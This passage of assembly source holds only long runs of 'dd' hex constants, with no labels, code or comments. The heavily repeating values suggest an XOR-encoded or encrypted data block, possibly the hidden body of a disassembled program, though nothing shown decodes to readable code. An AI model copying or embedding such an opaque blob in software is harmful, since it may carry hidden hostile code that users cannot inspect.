		dd 15624AB3h, 0D7E54432h, 3172A536h, 156EF86Eh,	836F8832h
		dd 227C4D4Dh, 1ACC551Bh, 156619BEh, 17E78732h, 75664432h
		dd 15A3CB53h, 1B8F1132h, 0A4668832h, 749F9D4Fh,	0CACE98FCh
		dd 997BA8C6h, 315277EDh, 11A2C56Ah, 0EC662232h,	6AE6ED98h
		dd 906961CDh, 156644A9h, 1561A23Dh, 91691132h, 15668833h
		dd 9E0024CBh, 156FCBF9h, 0EEF91132h, 698F78AAh,	7446B8BFh
		dd 0E78E9FB1h, 1A661933h, 1566C4B6h, 78F2432h, 0B1662232h
		dd 32B5794h, 656AE2E7h,	0E40F55D9h, 0F7BAB914h,	9807E4BDh
		dd 158A2DAFh, 9269243Ah, 15662237h, 6FB09054h, 1563615Fh
		dd 0B1CA4432h, 7465F285h, 0FC06C2CDh, 1566883Eh, 0EB136D77h
		dd 83796289h, 0EA9DC5F7h, 118A0953h, 9C664432h,	11DD062Eh
		dd 14661132h, 4E6500C9h, 15664EDBh, 6CAF5032h, 0CD4EAEF2h
		dd 9E7D701Dh, 0EF70FDB7h, 1A06DA35h, 156617B6h,	0D7A00932h
		dd 956A79F5h, 46071FC7h, 3C756189h, 0D8D093Dh, 0E20F1653h
		dd 0E48DA3E9h, 14942EEEh, 0ED4FD3EAh, 0FC16F31Fh, 3ED2D55h
		dd 0FC661132h, 15668823h, 2E56894Bh, 433B92EFh,	0DB99DFBEh
		dd 0BA45305Ah, 11DB1138h, 10662232h, 5EC76D6Eh,	494B601Bh
		dd 482DE54Eh, 156627DBh, 6010A132h, 75CD0107h, 1186C554h
		dd 1568CA2Ch, 0CB131132h, 3932BA7Dh, 692394DBh,	0A19E607Bh
		dd 0B8074ACBh, 0E9DCDACBh, 9499BBCDh, 4169B9D8h, 9494101Ah
		dd 416913F0h, 1564831Ah, 4F662232h, 156E9F3Dh, 90698832h
		dd 15664430h, 7F8F4352h, 7599EEC9h, 0A2B9373Dh,	0A0EF2599h
		dd 129C01CBh, 1F8F9152h, 74BE0354h, 15790E5Ah, 3172AB32h
		dd 1563F952h, 5258832h,	1A0F1037h, 156622B1h, 7D074932h
		dd 15660832h, 0E6ED2252h, 1564AF3Dh, 4A351132h,	1A66E253h
		dd 15664CBFh, 17E12D32h, 75661132h, 0B8D37753h,	7561BE27h
		dd 73B69D3Dh, 0EA07C0B9h, 0EF66FDA7h, 2199B135h, 0D1E57816h
		dd 98EDE436h, 129C9EB7h, 156648DBh, 0CC7A132h, 9DAB5030h
		dd 8DB4790Fh, 65B2C73h,	1EF2232h, 72FEAB16h, 14A1D479h
		dd 492D23AAh, 0E03C3303h, 156F9A3Dh, 73068832h,	0AF0085B9h
		dd 43073FCDh, 1562AC67h, 0FBEF8832h, 4B97456Fh,	17E52D52h
		dd 9E661132h, 0FBE7EEC2h, 9C074BE1h, 0EF70A7BFh, 1572F835h
		dd 0CFF88832h, 0B78E9B5Eh, 62AC170Eh, 21E20E0Ch, 0CEE12BA8h
		dd 0F18F86E5h, 0ED99DDF7h, 154DB3DBh, 15696132h, 0DE4432h
		dd 0CBD7BA10h, 23461961h, 7D61F04Fh, 1F8F2499h,	79662232h
		dd 0D24E35D2h, 71D2FDDh, 90EBCF26h, 0E061D824h,	15DF4061h
		dd 9C668832h, 0DE671DF9h, 0E03D29B9h, 0E7829CBBh, 73068033h
		dd 73E5B78Dh, 9407F4B9h, 51325F0Ah, 89E3877Eh, 0FC664432h
		dd 15662223h, 9BE844FFh, 0A24EFC83h, 0F7B24246h, 0D568EF25h
		dd 6DE77708h, 1A48C436h, 15663EB7h, 156FCB32h, 0B0961132h
		dd 65A0EA00h, 7D829877h, 15665449h, 9C420DBBh, 4EB801F1h
		dd 156656DBh, 0E5FBF32h, 343EA2A9h, 0AEDDAFA4h,	0E2A38FDDh
		dd 1A3AFCC2h, 156610B8h, 0AE357D32h, 15664434h,	9EDFC33h
		dd 11A29216h, 15669BDBh, 0FBB76932h, 59429607h,	44625DBFh
		dd 59A41787h, 7CBE8641h, 3FDBA7B9h, 1F8F16C8h, 4C668832h
		dd 0A40C5C75h, 2146F4AAh, 1078F864h, 949E8832h,	156640DEh
		dd 317AAB32h, 0CBEFD2BBh, 45367169h, 0EC38328Ah, 31220B06h
		dd 943C4936h, 0EC38FEF0h, 156CAD06h, 55CE2232h,	6195E1B0h
		dd 233195E0h, 9B698D03h, 1566223Eh, 1560923Dh, 96698832h
		dd 15664432h, 198F429Eh, 0B4661132h, 0B514BAA7h, 633BD4B0h
		dd 7418938Ah, 9169110Eh, 156689A4h, 15664EDBh, 643A4832h
		dd 2C39B0A3h, 294BD7C7h, 0D8E24B1Fh, 0E999DDCDh, 91693F0Eh
		dd 156688EAh, 13E74B52h, 1A662232h, 156611B6h, 0C4EDEE32h
		dd 9E002453h, 0B2079DF8h, 2907524Ah, 43E48702h,	0E0664437h
		dd 93691B0Eh, 0EA99EEAAh
		dd 15740E3Dh, 188F4432h, 0E8662232h, 35DAEF0Eh,	0D816D6E8h
		dd 0FE01F3F3h, 9769630Eh, 1566141Fh, 156D093Dh,	138F4432h
		dd 90662232h, 9881432Eh, 1A3CB477h, 0EA991BB4h,	4A5ADACDh
		dd 0EA30953Dh, 956977CDh, 15664433h, 1A071ECEh,	1562EDB0h
		dd 15606132h, 3CFA4432h, 0D6AC7B0Ch, 93696B0Eh,	0EA997706h
		dd 9E001452h, 74937DC5h, 15679C3Dh, 0FC9E8832h,	156640E7h
		dd 2FA59C52h, 68E1437h,	0CC668832h, 6B175716h, 0F660FFFBh
		dd 334957DAh, 3FE93F4Bh, 1A8F51D5h, 1C662232h, 0CC7938DDh
		dd 75CB7519h, 0E471223Eh, 743D4636h, 1506295Ah,	31720132h
		dd 4F4240CDh, 0FCDD4452h, 10E81E39h, 73668832h,	0C9529CB3h
		dd 1A941B53h, 15626DB6h, 188FE832h, 40664432h, 2686D389h
		dd 0EC3C038Bh, 5BDC141Eh, 0AE3525C7h, 0EA99DDCDh, 753DCB33h
		dd 15669BDAh, 70C5C432h, 6F56A448h, 0E449B691h,	7524A93Eh
		dd 0ECE74BB9h, 15662ADBh, 90E01832h, 0A89A3049h, 47071C5Dh
		dd 0EA99DD88h, 4FB738CDh, 156A013Dh, 98694432h,	15662234h
		dd 1566923Dh, 748F8832h, 0FC99BBCCh, 1566223Ch,	1962C80Ch
		dd 85BC6278h, 8BC7AAF7h, 0DCE36B96h, 169D953Dh,	9A698832h
		dd 15664426h, 15662DDBh, 2AF23B32h, 0FA1658BCh,	50E85E44h
		dd 193D4718h, 1217A4BFh, 0E9068FC8h, 873FB54h, 94347753h
		dd 13943506h, 943BA9CFh, 0E860B6C7h, 488FAB13h,	156617DBh
		dd 4FFCDD32h, 0E9EFC343h, 315AA960h, 0ED62D5B1h, 95DC3A60h
		dd 0FFE685F0h, 4FB6AA08h, 14AD1CCh, 156C61CBh, 39964432h
		dd 255320F7h, 8B3D4E81h, 0E09BFD9Ch, 15664FDBh,	795D5332h
		dd 51A7397Ch, 9346307Dh, 78E0F967h, 0FC4F6F9Bh,	949F386Fh
		dd 0BC0B0EF3h, 0C491BC7Fh, 0EC99CBB1h, 6306A962h, 83539F68h
		dd 3814FA2Ch, 0FCD42FC4h, 3C3ED61Bh, 15A109FDh,	0E01A7669h
		dd 29ED7465h, 11A29016h, 4B668832h, 0E0C2B7C7h,	0D3D69763h
		dd 45D6EE75h, 0EA99778Ah, 259E45CDh, 0FC3F7A1Ah, 1566113Ch
		dd 11DFE555h, 0EBED255Eh, 0DC0FC3h, 80EB9A9Eh, 129C8F43h
		dd 156655DBh, 68F64032h, 8D602110h, 0F6038A27h,	66EF80E3h
		dd 90EDF15Bh, 129C359Fh, 57870952h, 1A5477BFh, 9007D085h
		dd 0A6E31EF2h, 1A668832h, 15665DB7h, 58F4232h, 82661132h
		dd 0CDBF52DFh, 0E1633434h, 942FDF5Dh, 4674F041h, 1A06E96Ch
		dd 156647B4h, 0EFED4432h, 74FDDBB2h, 13030DF4h,	0FC2143C8h
		dd 15662220h, 67834915h, 0CAE2207Bh, 0EAAA0042h, 5796E94Eh
		dd 0C70E21EBh, 0FCB21295h, 15664434h, 0AD8D6BB5h, 0A099507Eh
		dd 129CA8A7h, 15664ADBh, 0F193332h, 0EB50C2FFh,	0A7721C4h
		dd 987E9643h, 0E8C5FFB7h, 1569F835h, 0FC8A8832h, 0B294BEA2h
		dd 0F0C0C776h, 94914DC2h, 15766123h, 0EDED4432h, 92FD1DF5h
		dd 57D3131h, 0BAB7F45Fh, 0C599EC1Ah, 15662BDBh,	0CCD87932h
		dd 0F4E8B6B6h, 9C359815h, 11A5A3D1h, 94661132h,	15668CD9h
		dd 317AC332h, 3172AB6Eh, 156B9E3Dh, 1D8F8832h, 7F664432h
		dd 0A2361618h, 0ED613C9Eh, 0FC0658CDh, 1566443Ah, 0A821C6A1h
		dd 6F537D0Ah, 156D6153h, 0D6E94432h, 53EACC04h,	8BD24669h
		dd 1AA60DF3h, 1566B3B7h, 156BCB32h, 0F1041132h,	0EDD4D546h
		dd 0DC926BB6h, 9EBE5789h, 0EF4E08B7h, 0D5E37D35h, 1511C13Dh
		dd 0D39E2232h, 0EF6074B7h, 9E06C435h, 74B2CEC2h, 0CF7ACB5Ah
		dd 1EC1EEBh, 0FC668832h, 1566443Dh, 9EE171D9h, 5F76B386h
		dd 0C0977E84h, 0EA283259h, 0EF46B787h, 12E91E35h, 75668832h
		dd 1096C554h, 90EB436Bh, 129BB2EFh, 75A00252h, 0D4E71F60h
		dd 2F1B4A5Ch, 0C5997053h, 4D9FD952h, 15664CDAh,	54A4F032h
		dd 0D4BFEBFh, 156F6102h, 0E9934432h, 7890F87Ah,	4A15F720h
		dd 0C13E053h, 1EF4432h,	1576CB16h, 0FA531132h, 517A5F97h
		dd 0AD9D3B8Ah, 64FC504Eh, 0C599FFF5h, 156681DBh, 69460A32h
		dd 229EF9A8h, 0D5E363C5h, 154C0D3Dh, 58F4432h, 662232h
		dd 49AAC251h, 883F4381h, 0D097C28Fh, 0FC0F0987h, 156611DFh
		dd 156683DBh, 46764532h, 61CAF268h, 0DF453457h,	0E7820DBBh
		dd 0FC064C33h, 1566223Dh, 3A8A9113h, 0A101F21Eh, 0C074E6DCh
		dd 95252CBCh, 430766EFh, 0D3E76EBBh, 15664436h,	1562CCB3h
		dd 21E11132h, 11EFD416h, 108F2416h, 0A5662232h,	9C536444h
		dd 810E7D53h, 9C664429h, 0FC060606h, 1566113Eh,	0CD048CF5h
		dd 8A838BBBh, 2F892600h, 156618DBh, 8FA93032h, 0AD64C29Eh
		dd 980764AFh, 0E8A30EB7h, 12E48735h, 1A664432h,	156623BAh
		dd 0C599ED32h, 15776052h, 65234432h, 0DFA386F8h, 150A64D5h
		dd 6D895A0Ch, 94D43E5Bh, 85F5EEDAh, 9F694904h, 15668830h
		dd 1E071086h, 6E32DF2h,	0E9661132h, 1566A0DBh, 4DD92432h
		dd 943FEE8Ch, 0BFC552F2h, 51EFE908h, 9B695816h,	1566223Bh
		dd 0C6E77752h, 7406C3D4h, 0AA692453h, 0E7ED44E2h, 0D69A7053h
		dd 9E9AE8CBh, 1494A0BFh, 1563CB3Ah, 0EB6C1132h,	43FE5250h
		dd 0D3E7A2BBh, 15662236h, 1562FFB3h, 21E18832h,	11EF1816h
		dd 1568CB16h, 2C0F1132h, 3A6D473Dh, 0CE50B27h, 59D46B3Eh
		dd 9C3C4060h, 0FC06D2E2h, 15664421h, 95E92FAAh,	220C7F38h
		dd 0BA247E4Bh, 7F021621h, 1A2C52F7h, 156613B1h,	743FD832h
		dd 1562A8B3h, 1EF2232h,	155AAB16h, 0D7678832h, 0EC3C4631h
		dd 9DDF73CEh, 14661132h, 9E7703F3h, 0D1E5603Eh,	0DEF2D36h
		dd 0FC661132h, 15668821h, 0F094E430h, 85EF8176h, 329CEE68h
		dd 524F91Dh, 75C51598h,	1A074252h, 7507D28Dh, 156684DBh
		dd 7422F732h, 0B6949C81h, 5EB7F1ADh, 1BDFEE94h,	9C072585h
		dd 0EF4073A7h, 1DE21E35h, 1A668832h, 156646BAh,	0FC074232h
		dd 15661126h, 32BEB826h, 5B62776Fh, 39E4C682h, 7798DCDh
		dd 1FC15082h, 159EFB65h, 634B2232h, 1456B83Eh, 19108DCAh
		dd 7539749Bh, 62AD638Dh, 74E1A520h, 946AF8CDh, 49E36036h
		dd 453C1D33h, 143A948Ah, 4DA4A10Dh, 15664FDBh, 7CAE432h
		dd 4532577Dh, 7165A325h, 38FBD1BBh, 9C6925C8h, 15661134h
		dd 4238D952h, 21992569h, 0D1E77A16h, 15661136h,	311277C7h
		dd 3162CF16h, 7562E6B1h, 1575F852h, 0ECCF8832h,	0FC9B8B23h
		dd 0FC4C53B5h, 41DA63C4h, 0F4200AF4h, 460725DDh, 4E174F89h
		dd 4EBE382Ch, 7863401Bh, 0FC781F43h, 15662226h,	12B6AADCh
		dd 20099442h, 62EDCC49h, 0B1D02A2Bh, 0A15A0253h, 38FB0D09h
		dd 976943C8h, 1566226Ah, 44E32ACEh, 1A617214h, 15660FB1h
		dd 1576CB32h, 94D11132h, 0FD2CF2E3h, 960CF655h,	1486CD38h
		dd 75077FA8h, 8FEE6AB3h, 1C8E0041h, 0EE662232h,	46D24B5Dh
		dd 31714B0Ch, 1566C53Dh, 74392232h, 1A6615F0h, 156687BDh
		dd 156CAD32h, 0B06A2232h, 83192C24h, 0E48FB757h, 1DED4B53h
		dd 1A662232h, 156613BDh, 7507E832h, 1563C83Dh, 0A8DC2232h
		dd 74449ED3h, 0D1428CF5h, 9406A34Ch, 75170606h,	21E7050Dh
		dd 3F66A116h, 0E1D81201h, 3C7B2C4Fh, 4B623546h,	0C942ACB3h
		dd 0EA537D44h, 11E7063Eh, 0CBB96816h, 156A61EDh, 0F71D4432h
		dd 5F8F1476h, 3C7BD597h, 48FE00Fh, 78664432h, 1AE7EF82h
		dd 6AF8BB15h, 87DD2873h, 2CC8F6B1h, 114266F5h, 33DF6D12h
		dd 1142E4F3h, 3122C534h, 235FF636h, 3132E60Dh, 0D0DCDA36h
		dd 1459952Dh, 4F6E0666h, 730E46CAh, 9E07554Eh, 0D1E7600Eh
		dd 15662236h, 0FAE7C6C5h
		dd 8B440BA6h, 0E939BCBBh, 5A00AFBFh, 926916C8h,	1566883Ah
		dd 1564CF3Dh, 74062232h, 5DE7752h, 0F499E993h, 1575C73Dh
		dd 1B8F2232h, 43661132h, 38FFE872h, 3883D1A0h, 266C6D14h
		dd 1C8F7179h, 96668832h, 10E8EEEh, 0FF399E99h, 15065A5Ah
		dd 31720132h, 15664488h, 9F942332h, 29934B30h, 56E287DBh
		dd 75664433h, 0E7AA978Bh, 16E31E22h, 1A668832h,	29079D85h
		dd 43E22DDAh, 75661133h, 0BC853354h, 0AD8CFC8Dh, 1A5A4324h
		dd 153B953Dh, 95068832h, 2907C7C0h, 0BBE22DFFh,	75661133h
		dd 138F42B9h, 0D8664432h, 0D5CD0A9Ah, 0FE5A70C3h, 14870C3Dh
		dd 108F4432h, 0B9662232h, 3F935306h, 15726153h,	4B0C4432h
		dd 18F21232h, 3C0067E1h, 0AC224322h, 3D92B4FFh,	0FCA58505h
		dd 1566113Dh, 73727DFEh, 0C02148DDh, 4167B053h,	47831DC7h
		dd 15673163h, 0DFEF4432h, 9F94236Bh, 44934B28h,	0FE467887h
		dd 944248B9h, 156626F6h, 1574F832h, 0E2E58832h,	0C06CC57Ch
		dd 5E9174C4h, 0D27523EEh, 59193BE2h, 1AE6BFB2h,	0EA99B1B7h
		dd 9430E4CDh, 761CAC1Eh, 9ED684Eh, 11A2A116h, 761CD2B3h
		dd 0FC06A44Eh, 15664434h, 0FFFDE649h, 188F9393h, 0DA668832h
		dd 0E2BCEF78h, 0C36636ADh, 8B330CEAh, 13DED853h, 14664432h
		dd 3162A9F1h, 1562D5B3h, 47938832h, 15664688h, 44942332h
		dd 1566118Bh, 16B78932h, 0E03C1D2Bh, 156690DBh,	2EA1E32h
		dd 0FC668832h, 15664420h, 204B5800h, 32CA6083h,	0FEE976D3h
		dd 7036D664h, 639948FBh, 317A9A33h, 0FC624CB1h,	15664421h
		dd 0F3255C99h, 9ADCAE70h, 0C0DC6545h, 0F28D4A54h, 9663C47Eh
		dd 9169EAC9h, 156688EBh, 118AC7CEh, 4E4216BBh, 44DE7752h
		dd 0AF34E902h, 15664433h, 0AD36D033h, 15661132h, 0D655833h
		dd 1A8F1E6Ah, 6F662232h, 0C4F3B7E7h, 0B072194h,	7D321AE4h
		dd 9B69173Ch, 15661128h, 156B6152h, 0BF9C4432h,	9F0534C1h
		dd 0C8A3982Ch, 1A4E4C58h, 156644B2h, 47304332h,	4830835Ah
		dd 0D7E7D25Eh, 86C4ED41h, 143CF4BBh, 0FC934FC1h, 0EA99764Eh
		dd 7313F352h, 0D6C6CDB3h, 4BD01E53h, 15756133h,	0E02D4432h
		dd 797C1E8Bh, 1D6C332Dh, 5D713FC3h, 8727855Dh, 3B8DA113h
		dd 0EB28953Dh, 18F77CDh, 69664432h, 0A450DE29h,	46C322BEh
		dd 344B66ABh, 0BAF8DEE3h, 0FC43D7EDh, 1566112Fh, 1567053Dh
		dd 959E4432h, 1A98234Ch, 0EA980EB7h, 156161CDh,	6D6C4432h
		dd 0B24D7948h, 0E9C4F855h, 0AC0677CDh, 15994C9Bh, 0C6099854h
		dd 0F3EF4753h, 15624EB3h, 0FBE54432h, 3152A536h, 3152986Eh
		dd 156D6152h, 22A4432h,	0C6FBFDB5h, 5638AEB4h, 15766134h
		dd 0D0CD4432h, 831FB5A5h, 48A6F69Dh, 0EE4E594h,	460702B8h
		dd 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h, 19EF7E16h
		dd 12E41E16h, 1A668832h, 156645B0h, 960EDE32h, 9C661159h
		dd 0EC06AC2Eh, 15664EDBh, 0B997ED32h, 5472BF95h, 74DCB9DDh
		dd 9483CD67h, 156626F7h, 118B9232h, 4942A4B5h, 1A4278BBh
		dd 15662AB2h, 0E5E77132h, 11CF687h, 1AA67553h, 156625B1h
		dd 0DFE67132h, 745E3879h, 8E64B9Eh, 75662232h, 0FCC4DCB2h
		dd 15668821h, 0CA49B1BBh, 53F7647h, 0D7A7EFE9h,	2476473Ch
		dd 745CB527h, 0D6EE7160h, 9D3DCBBAh, 9406D2E1h,	5E6591DDh
		dd 156DCB73h, 0B5F41132h, 687D63D0h, 29B4139h, 0F9E543DCh
		dd 31629836h, 0D6467882h, 7337246Ah, 0E93DD5B9h, 12EC1E53h
		dd 1A668832h, 156645B6h, 0EEE6DE32h, 0D8E21E42h, 0E0668837h
		dd 91694B0Eh, 156622C9h, 15661EDBh, 0E62E5332h,	0F697B8FEh
		dd 8E9877CFh, 86D20B46h, 1A8FB4C7h, 156CB6B6h, 6E92D32h
		dd 0FC661132h, 1566883Ch, 9C953799h, 0AA407F72h, 7920860Ch
		dd 0FE5A1C99h, 1AE5C03Dh, 0FC9E2232h, 15661137h, 0F63903A2h
		dd 1A8578E1h, 156585B6h, 1563F832h, 0D4B18832h,	294CA62Bh
		dd 0BDE22DD0h, 0ED661122h, 0DAE7DB52h, 346EBC50h, 94004269h
		dd 95347CF4h, 740714FCh, 4A4270CDh, 7562E6B1h, 1563943Dh
		dd 94008832h, 740A35E2h, 4E4216CDh, 1562D5B3h, 9E9E8832h
		dd 9C36603Eh, 156227D2h, 11631132h, 92668832h, 0FC3A6036h
		dd 1566223Ch, 0D0BCD094h, 3D3E7C52h, 41019E89h,	21993D31h
		dd 0D1E74F16h, 15668836h, 17EA4B52h, 9E662232h,	9B6941FAh
		dd 15668832h, 75A52568h, 0E58FA354h, 1B8F71F1h,	86668832h
		dd 4D67EAB8h, 9AB90B9Dh, 97DCDF0h, 68D8EE1Ah, 0D20725C8h
		dd 149596B7h, 1566173Ah, 0DED8732h, 0FC664432h,	15662221h
		dd 2246D9h, 0FED2524h, 8E8B1AB3h, 0C399042Fh, 4509377Fh
		dd 1566888Ah, 9F964532h, 3162A92Ah, 0ED62D5B1h,	958C3D63h
		dd 0D0E667DFh, 8F8BA23Fh, 0C890C4C4h, 0D5793E60h, 0D3E640D4h
		dd 0B688A2FCh, 25B6E7B2h, 0FE46D2C7h, 0EEE6B16Bh, 0E32DB2h
		dd 0FC99EECDh, 15668835h, 0AEDB746Dh, 40E0BDEBh, 0EA99EE8Fh
		dd 488889CDh, 156643DBh, 0B236E632h, 9761A3C0h,	314F0DB9h
		dd 9E9343C8h, 0EF52E7A7h, 0F9E5E435h, 31520136h, 0DF4268B3h
		dd 4E4C9E21h, 6ACD2B3h,	9169A28Eh, 1566442Ch, 157EA53Dh
		dd 68F1132h, 96668832h,	498E6D1Ch, 9A69DBBDh, 79712A40h
		dd 3F3A9D98h, 0AA319024h, 15662234h, 29EDEA33h,	11A20B16h
		dd 0BB6AFE52h, 97693D5Eh, 15661133h, 0AF34E9C7h, 15664430h
		dd 0F65D033h, 944205B9h, 15668CF6h, 0C5ED2432h,	4DA8A960h
		dd 1ABE2A53h, 1566A9B0h, 1561AD32h, 41832232h, 7AC172BBh
		dd 1ABCB364h, 0EA981FB4h, 1561CBCDh, 27991132h,	0BA94FA16h
		dd 0FEE7BD31h, 5FD57AAAh, 3882D2B3h, 0EE4FF058h, 3882AFB3h
		dd 0D6E75A58h, 5FD549AAh, 156A043Dh, 9B694432h,	15662234h
		dd 1566923Dh, 9E698832h, 1566443Ah, 1564A93Dh, 74061132h
		dd 15727E5Ah, 315ACD32h, 1566248Dh, 4A9D3832h, 156D6052h
		dd 296A4432h, 0D0B44ECDh, 0CE8B8F1Ah, 1F8ED2D7h, 80664432h
		dd 7D570F0Ch, 89639917h, 1572602Fh, 27684432h, 0ADDED52Fh
		dd 0AB009421h, 0ADD348FDh, 9683CF54h, 4D39489Dh, 1ACB7753h
		dd 156690B3h, 1575AD32h, 2BC62232h, 2F56540h, 0B5F68706h
		dd 0C3B1DB42h, 0FC9DDC87h, 0E0CD77F7h, 11EDDB62h, 11A2C516h
		dd 4E662232h, 7ED7E452h, 9400E853h, 0ECDA9DC0h,	9D698953h
		dd 15661133h, 0AA31DACBh, 27B51D94h, 4CC4CDB3h,	0EFEF23E1h
		dd 4FB0896Dh, 0CCED2252h, 315AAB53h, 13E31E52h,	1A668832h
		dd 156644B3h, 4CDD4432h, 61EF7001h, 9C698416h, 15664429h
		dd 1573A23Dh, 58F1132h,	27668832h, 15AE7DEAh, 4293148h
		dd 643EB277h, 9CDFB787h, 0EF43A987h, 2199DB35h,	0D1E74E16h
		dd 15668836h, 156649DBh, 52DAD132h, 0E1ECE037h,	3C19FE88h
		dd 219941FDh, 0D1E77916h, 15661136h, 1567093Dh,	0EA934432h
		dd 963F0606h, 0FC0615F6h, 15668834h, 0B92A51E8h, 9E076942h
		dd 9C373506h, 11A709D3h, 96664432h, 19E126F3h, 0ED064D16h
		dd 15669BDAh, 0B015C132h, 8AD814A1h, 0DA6E0967h, 490965D8h
		dd 0D023C76h, 4BBCA954h, 0F3EF4753h, 290B3765h,	94212659h
		dd 7E5A48DDh, 4A981050h, 92624EB1h, 1A3A6006h, 156633B5h
		dd 156AF832h, 0AAF78832h, 0FFE1F881h, 0C76EA767h, 6C8F597Bh
		dd 0E09977EDh, 0E6D2C1F5h, 15642A33h, 92691132h, 15668820h
		dd 156649DBh, 0F8444A32h, 305C2A45h, 0D233B470h, 6A0EA740h
		dd 9C66227Fh, 753D3506h
		dd 1565083Dh, 0AA694432h, 0AC0042F8h, 7407F7B9h, 0FC683E3Dh
		dd 15664437h, 63ABAD42h, 14EF1E9Ah, 0E0668832h,	1AE6BDB2h
		dd 156658B1h, 0D6E7E432h, 150ED980h, 0AC378F33h, 150E7380h
		dd 0EC3FDA1Bh, 156D6152h, 13984432h, 695033FCh,	16910FE2h
		dd 15766062h, 0EBCB4432h, 0E08FE991h, 0BAEF69BDh, 86FB062h
		dd 0E0E6CE2Eh, 46077947h, 144215B3h, 4E668832h,	1562CC3Dh
		dd 75062232h, 95067053h, 40D966D0h, 74457A61h, 1566B4DBh
		dd 1561F832h, 15148832h, 9D7FB3B6h, 9406427Bh, 9F5A85E2h
		dd 0CDEDEE13h, 7307B153h, 3D999561h, 9ED77CBh, 17A20B16h
		dd 0E2F70DCEh, 108FB3E2h, 14661132h, 0D1E39118h, 670E1762h
		dd 4E09953Bh, 565FE2B3h, 9425A3D2h, 0BDD0F7F1h,	4EBEAB89h
		dd 0FC3ED013h, 1566883Eh, 3A44E6ACh, 0BA0B77B0h, 0AE821606h
		dd 48D33062h, 0D64F448Ah, 94AD0B6Ah, 0AD3BA4F1h, 15766132h
		dd 7EC34432h, 0E0767194h, 9B118B42h, 95E985AAh,	94062A38h
		dd 0E9DFE0FCh, 0FFE7770Ch, 9E07FC2Ch, 0EF426DB7h, 0AA694235h
		dd 22BB91F9h, 0D0F30353h, 7561BE06h, 3A80A354h,	1568F823h
		dd 0E7338832h, 62118D3Ah, 0CEBC15D7h, 0F6377B0Ah, 78DB0B53h
		dd 1461BE13h, 1174A63Dh, 2C9F1132h, 1CE487F1h, 0FC664436h
		dd 1566223Bh, 0AAC2A587h, 0CF45FD9Eh, 1AB57D8Dh, 0EA9CF5B0h
		dd 2E71ECDh, 0FC668832h, 15664420h, 4599F291h, 0C3F6A49Ah
		dd 0D712EBDAh, 1A9AA6B1h, 0C48FC15Ah, 0E0661131h, 0E6D20DF5h
		dd 15644C33h, 1C8F2232h, 79661132h, 5966E283h, 1BE50A1Bh
		dd 9C3677CAh, 4DA398C2h, 1A3B63BBh, 156649B5h, 156ECB32h
		dd 4E391132h, 2FD136ACh, 0A369F12Bh, 156CCB3Ch,	0E3B71132h
		dd 0F50D2758h, 48E5B71Fh, 1AE6DBB2h, 15662CB1h,	0AC377D32h
		dd 4E7D140Ah, 456DE3B3h, 0DCE734FEh, 5594CD5Dh,	0D4E795C5h
		dd 0DE9226F6h, 143FDA33h, 418D09F9h, 0E06CB82Dh, 15679F67h
		dd 0FE671132h, 0B68F7D6Fh, 1A664432h, 156623B4h, 8B0EE832h
		dd 9C668833h, 0EAD5602Eh, 1A3DFB1Ah, 15661CB5h,	156E6132h
		dd 0EF304432h, 885AE84Ah, 0A006D7D0h, 74A80329h, 1566445Ah
		dd 3162A332h, 1D600500h, 9442841Bh, 154601Eh, 1A3F2A34h
		dd 156610B2h, 46367432h, 0D50E3789h, 94B5D57Eh,	53577F9h
		dd 94BD7F35h, 0D54EA9C1h, 4EBEAB7Ah, 0EC3ED013h, 0B9F3163h
		dd 0DCE756E4h, 4E52A4Ah, 7AA7D0B3h, 0C491B176h,	68BA8DB3h
		dd 0FCE74E0Ch, 0A4E401C9h, 3C3F4333h, 0F78DC5F9h, 1A2B5E5Eh
		dd 156618BBh, 9400E832h, 44DF12C5h, 90ED436Dh, 129C351Bh
		dd 1575003Dh, 1B8F4432h, 1A662232h, 83D87E2Dh, 4BB15F64h
		dd 0B9F20559h, 0D0F3A94Ah, 0FC61EB06h, 15668838h, 0CC5EC4DFh
		dd 44D09D5Ch, 0A8E552A5h, 129CA95Fh, 70E24B33h,	0FC662230h
		dd 15661135h, 1E90C8AEh, 0E06BA236h, 9769FA09h,	15661114h
		dd 1571013Dh, 78F4432h,	36662232h, 3251B9F0h, 0B2CF0CF0h
		dd 77C9EFF7h, 50D49A13h, 1AB52834h, 0EA9F87B4h,	0AA31B8CDh
		dd 15662233h, 0E039EF1Bh, 0E33D3F61h, 6091C4E5h, 9365C5F2h
		dd 93B8E7C5h, 629108C5h, 0ED3DBCBAh, 14EC2D98h,	0EC661132h
		dd 15663260h, 0FFE74432h, 4978691Fh, 0D7E7E333h, 4978C31Fh
		dd 753C4EB8h, 1563AE3Dh, 0D8DF1132h, 9473A7D6h,	0E075FE4h
		dd 19D64300h, 0DD98791Eh, 0EB2F3963h, 138F84F3h, 3D44D3B2h
		dd 996948FAh, 1566883Bh, 17DC2252h, 0DFD92D3Eh,	1561F853h
		dd 32578832h, 4C97F61Eh, 0A6357079h, 0C0A59108h, 353D52BAh
		dd 93691EE3h, 1566223Ch, 156618DBh, 0E1AEE532h,	1B814952h
		dd 0DD6E2F68h, 1576903Dh, 1E8F8832h, 0A4664432h, 8631B2EEh
		dd 2D9C07DAh, 75CCE641h, 749EF33Dh, 470FC9B3h, 0EE4F7D65h
		dd 77F13765h, 942128EEh, 673B3AFDh, 0E4919016h,	1466211Fh
		dd 1F8F1BC9h, 60662232h, 0E6D2ABF0h, 7CDDA54Ah,	11DF15F9h
		dd 94662232h, 4D5334F1h, 94ADA119h, 4D5361D9h, 45937B19h
		dd 31629A61h, 15624CB3h, 1A3D4432h, 15662CB2h, 156FF832h
		dd 0ED568832h, 0A7E31300h, 0BEBD9A82h, 1ABC9B52h, 15668DB2h
		dd 0C4E72232h, 0FC079BD4h, 15661123h, 0F0B9974Dh, 511F91DDh
		dd 3BF57F75h, 0AFCE7E4Bh, 17DED8F0h, 14664432h,	3162A9F4h
		dd 0EC62D5B1h, 308B3DBBh, 78F43C8h, 0F0662232h,	207E09B7h
		dd 431B948Ch, 0A47C9F5Eh, 90AAE81Ah, 78E3D62Bh,	14617213h
		dd 0FC664432h, 1566223Eh, 0F24B9D79h, 0B422FBDCh, 79643626h
		dd 4580AB64h, 0C469618Ah, 108E4920h, 0E261A4F3h, 28E327E2h
		dd 0D3675A76h, 11A00B6Ah, 494270B5h, 3152DDC7h,	11A29269h
		dd 0D3A70952h, 940D7760h, 0F8A43CDAh, 0EA9A7018h, 963FAC06h
		dd 0A70640F6h, 9C314301h, 11A190D5h, 43668832h,	1566408Ch
		dd 4B912332h, 49422DB5h, 156680DBh, 3EC76132h, 56408B17h
